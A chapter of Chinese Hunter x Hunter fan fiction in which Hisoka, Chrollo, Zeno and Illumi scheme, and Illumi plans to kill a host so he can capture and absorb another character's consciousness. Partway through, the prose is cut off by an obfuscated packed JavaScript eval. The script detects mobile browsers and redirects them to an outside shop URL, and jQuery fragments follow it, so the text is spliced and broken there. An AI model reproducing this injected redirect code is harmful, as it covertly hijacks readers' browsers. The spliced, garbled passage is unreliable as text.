39.暂落
作品:《我拱了揍敌客家的白菜》 远处的风声在耳边呼啸,西索抱着念力尚未恢复的库洛洛,在夜色中疾驰,速度快得只在身后留下一道残影。
“嗯哼~” 西索的声音带着抑制不住的、欢快的颤音,打破沉默,“真想看看小伊现在是什么表情啊~ 那种世界观被砸得粉碎的样子……他现在一定非常、非常需要一位魔术师的……贴心安慰呢~”
库洛洛:“………………………”
他闭上眼,感觉西索的话语比伊尔迷的念针更具穿透力,是一种直击灵魂的精神污染。他决定屏蔽外界信息,单方面关闭了听觉输入通道。
然而,视觉和触觉却无法关闭。他能感觉到西索的手臂越收越紧,那具紧贴着他的身体因为极度兴奋而微微颤抖,仿佛抱着的不是一个人,而是一件刚刚得手的、令他爱不释手的绝世珍宝。
这种黏着而又充满占有欲的接触,显然已经超出了西索所谓的“临时合作”范畴。他似乎在用这种方式确认库洛洛的“存在”,并品尝这短暂的“拥有”感。
终于,西索像是达到了忍耐的极限,或者说,是预感到自己再继续“拥有”下去,可能会忍不住当场做出一些破坏合作约定的事情——比如直接开启一场库洛洛毫无还手之力的“游戏”。
他在一个僻静无人的街角猛地停下,几乎是有些粗鲁地将他的“大苹果”往墙边一放,确保库洛洛能站稳。
“给~” 他飞快地报出一个地址和名字,语速快得像怕自己反悔,“你要找的除念师……可别说我售后服务不到位哦~~”
话音未落,他甚至没给库洛洛任何回应的时间,便像一道挣脱了所有束缚的红色鬼影,带着一串意犹未尽的、扭曲的笑声,瞬间消失在了复杂的巷道深处。
库洛洛:“………………………”
他靠在冰冷的墙上,缓缓睁开眼,看着西索消失的方向,耳边似乎还回荡着那令人头皮发麻的笑声。
世界,终于清静了。
…………
西索的身影如一道红色的闪电,撕裂夜空,不是奔向新的猎物或自由的远方,而是沿着来路——径直折返,精准地扑向那片刚刚逃离的、仍弥漫着硝烟与崩溃气息的废墟。
伊尔迷依旧僵立在原地。
库洛洛的话语如同最精密的病毒程序,在他引以为傲的逻辑核心内持续引发着系统崩溃的连锁反应。他试图清理,试图重构,但每一个指令都指向那个无法解析的结论:你与弱者无异。
就在这时,一股毫不掩饰的、甜腻而危险的念压如同实质的触手,再次缠绕上这片废墟。
伊尔迷空洞的猫眼骤然聚焦,瞬间进入战斗戒备状态。
西索轻巧地落在一段扭曲的钢筋上,仿佛舞台上的主角华丽登场。他看着伊尔迷那副冰冷面具下难以掩饰的混乱裂痕,愉悦地眯起了眼。
“嗯哼~” 他发出一个餍足的颤音,打破了令人窒息的沉默,“看来……我们迷路的小猫咪,需要一些‘正确’的引导呢~~~”
伊尔迷的声音冰冷刺骨,带着被侵入领地的杀意:“……你回来找死?”
“不不不~” 西索夸张地摇了摇手指,笑容灿烂而恶意,“我是来……帮你理清思路的。”
他舔了舔嘴唇,金色的瞳孔在月光下闪烁着妖异的光。
“库洛洛那个骗子,是不是告诉你,你是因为‘害怕被拒绝’才这么执着的?真是……太不了解你了~”
西索的身体微微前倾,如同恶魔在低语,吐出了他版本的、更为残酷的“真相”:
“你怎么会‘害怕’呢,伊尔迷?你只是……纯粹的,无法容忍‘失控’本身。”
“凯的离开,库洛洛的逃脱……这些‘意外’像病毒一样污染了你完美的世界。” 他的声音充满了陶醉,“你所有的愤怒,都不是因为‘失去’,而是因为你的‘绝对控制权’……被挑战了哦~”
“承认吧,” 西索的笑容扩大到一个非人的弧度,“你现在最想做的,不是悲伤,而是……把他们一个个抓回来,用最痛苦的方式,‘修正’这个错误,对吧?”
“这才是我认识的伊尔迷·揍敌客啊~”
他才不是来安慰的~
他是来确认崩溃,并亲手为伊尔迷的偏执与怒火,指明一个更黑暗、更暴戾的方向。
————————枯枯戮山,夜深人静。
伊尔迷回到了自己的房间,他身上没有伤痕,举止也一如既往地精准,但周身散发出的念压却失去了往日的绝对平稳,像一道信号不良的电流,在寂静的空气中发出细微却刺耳的杂音。
他试图通过日常的数据整理来让自己平静,但指尖在屏幕上划过时,库洛洛那句“你与弱者无异”和西索那张狂的笑脸,如同无法清除的弹窗,反复干扰着他的核心进程。
他甚至没有意识到自己念压的紊乱。
直到一个身影,如同他思绪中一个固有的阴影,悄无声息地出现在他房间的角落。桀诺·揍敌客端着茶杯,仿佛只是散步路过。
“啧,”老爷子吹了吹杯口的热气,甚至没有看他,“心里的毛线团,快要把屋子都塞满了啊,小伊。”
伊尔迷的身体几不可查地僵直了一瞬。他没有回答,这是一种默认。
桀诺慢悠悠地呷了口茶,目光似乎落在虚空的某处,开始了他的“引导”。这引导并非安慰,而是一种更高级的 “认知重构”。
“知道我们和那些‘流星街出品’的最大区别在哪里吗?”
伊尔迷抬起空洞的猫眼。
“他们的一生,都在抢夺。抢资源,抢力量,抢生存的空间……所以他们迷恋‘掠夺’和‘占有’的快感,像守着骨头的野狗。”
“而我们揍敌客,” 桀诺的视线终于落到伊尔迷身上,平静中带着千钧之力,“我们‘培育’。”
“我们培育血脉,培育技术,培育这片土地。我们看待事物,看的不是‘现在能抢到什么’,而是‘未来能生成什么’。”
他放下茶杯,发出清脆的一声轻响。
“所以,别学那些野狗的思维方式,把自己困在‘他爱不爱我’、‘他怕不怕我’这种低级问题上。”
“你的问题很简单:你看中的那样‘东西’(凯),以及那样‘工具’(库洛洛),暂时脱离了你的‘培育场’。”
“你要做的,不是在这里纠结他们为什么跑,或者他们怎么看你。”
“你要做的,是去创造一个他们不得不回来 ,或者你随时可以取回的‘新花园’。”
说完,桀诺像来时一样,背着手,慢悠悠地踱步离开。
伊尔迷周身的念压,在那一刻,骤然归于绝对的死寂与平稳。
他眼中所有的混乱都被扫清,取而代之的,是一种更深邃、更恐怖的冰冷。
他明白了。
库洛洛和西索试图用“情感”的迷宫困住他。
而祖父,直接给了他一把劈开迷宫的斧头。
他的嘴角,第一次,勾起了一个没有任何温度,却无比高效的弧度。
——是的,去建造一个,他们无法逃离的花园。
……………………
想通之后,事情好像都在向好的方向发展。
内心的杂音被彻底清除,伊尔迷的思维恢复了揍敌客式的绝对效率。也正是在这时,那份姗姗来迟的最终实验报告,被送到了他的手中。
库洛洛的叛逃并未影响数据的有效性。长久的实验过程,结合揍敌客庞大的历史档案交叉分析,已经足够证实那个最初的猜想——
凯的附身,存在一条无法逾越的铁律:他只能在宿主死亡后,被动的、无选择地寄宿于距离最近的、符合条件的生命体之中。
这条规则,如此简单,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708353|186323||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如此绝对。
伊尔迷放下报告,走到窗前,眺望着枯枯戮山沉郁的轮廓。他眼中没有任何对于“命运弄人”的感慨,只有一种面对一道复杂数学题终于找到最优解时的纯粹。
这简直太简单了。
方案清晰地在他脑中铺开:
方案A:找一个绝对忠诚且位置精准的管家,在程笑死亡的瞬间,成为那个“最近”的容器。这是最干净、损耗最低的方式。
方案B:若追求万无一失的精准,他也可以亲自下场。就像家族最初为了绑定这份资产,让他与凯建立“婚姻”关系一样——这一次,他可以牺牲自己的一部分意识空间,作为一座为他量身定制的、无法逃离的完美牢笼。
这个念头让他感到一种奇异的平静。这无关情感,无关占有,甚至不再关乎凯本身。
这关乎的是揍敌客的资产回收,关乎的是对失控程序的修正,关乎的是他——伊尔迷·揍敌客,将用自己的方式,亲手为这个由库洛洛和西索带来的混乱变量,画上最终的休止符。
他拿起内线电话,声音平稳得不带一丝波澜。
“准备一下。”
“第一阶段,定位目标程笑。”
“第二阶段,待命。”
电话那头传来管家毫无迟疑的回应:“是,伊尔迷少爷。”
现在,猎杀,重新开始。
————小剧场
场景:一家格调昏暗的酒吧。
西索晃着酒杯,里面的冰块发出清脆的声响。他看着对面正在小口啜饮果汁的伊尔迷,慵懒地开口:
“所以~ 小伊接下来打算怎么办?继续追着那只不听话的大苹果满世界跑吗?~”
伊尔迷放下杯子,黑色的猫眼在昏暗的光线下显得格外空洞。他没有直接回答,反而像是想起了什么无关紧要的事,用讨论晚餐吃什么一样的平淡语气说:
“现在不一样了。实验有了结果,我会直接杀掉程笑——由管家…或者是我。反正,凯会身不由己地附着到最近的人脑中。”
西索挑眉,饶有兴致地接话:“嗯哼~?你自己吗?你不怕会有什么……有趣的副作用吗?” 他意有所指,语调暧昧。
“他的自主性低到可怜。”伊尔迷的声音没有任何起伏,完全无视了对方的弦外之音,“没有宿主允许,他无法接管身体,构不成威胁。”
他顿了顿,仿佛忽然想到了一个优化方案,用一种讨论甜点般的平常语气补充:
“而且,如果他的意识体在内部是可视的话,说不定……也可以在意识里直接吃掉。”
西索晃杯子的手停住了,脑中瞬间闪过一些限制级画面,金色的瞳孔因意外而微微放大:“……?确实是很侮辱人的精神呢~”
伊尔迷完全没接收到他的弦外之音,继续用那平板无波的语调,阐述着他眼中的物理定律:
“嚼碎,咽下去。它就参与了‘我’的构成。最后连独立的残渣都不会剩下。什么都不会留下,我将…永远拥有它。这是别人再也无法剥夺的‘拥有’。”
他抬起眼,看向突然沉默的西索,似乎对他的停顿感到一丝不解。
“?”
西索愣了两秒,大脑终于从颜色的深渊切换到了哲学的(并且更恐怖的)频道。随即,一种极度兴奋、扭曲的笑容缓缓在他脸上绽开。他舔了舔嘴唇,仿佛品尝到了这理念本身的味道。
“啊啊~……原来如此……”他发出愉悦的颤音,身体因理解了这个终极方案而微微战栗,“不是玷污,而是湮灭……小伊你……果然从来不会让我失望呢~”
而伊尔迷已经重新低下头,看着自己的空杯,开始思考是再加一杯果汁,还是今天就到这里结束。
——他将世间最极致的占有,阐述成了最基础的生物循环。而这份理所当然,让最疯狂的魔术师,都为之战栗倾倒。

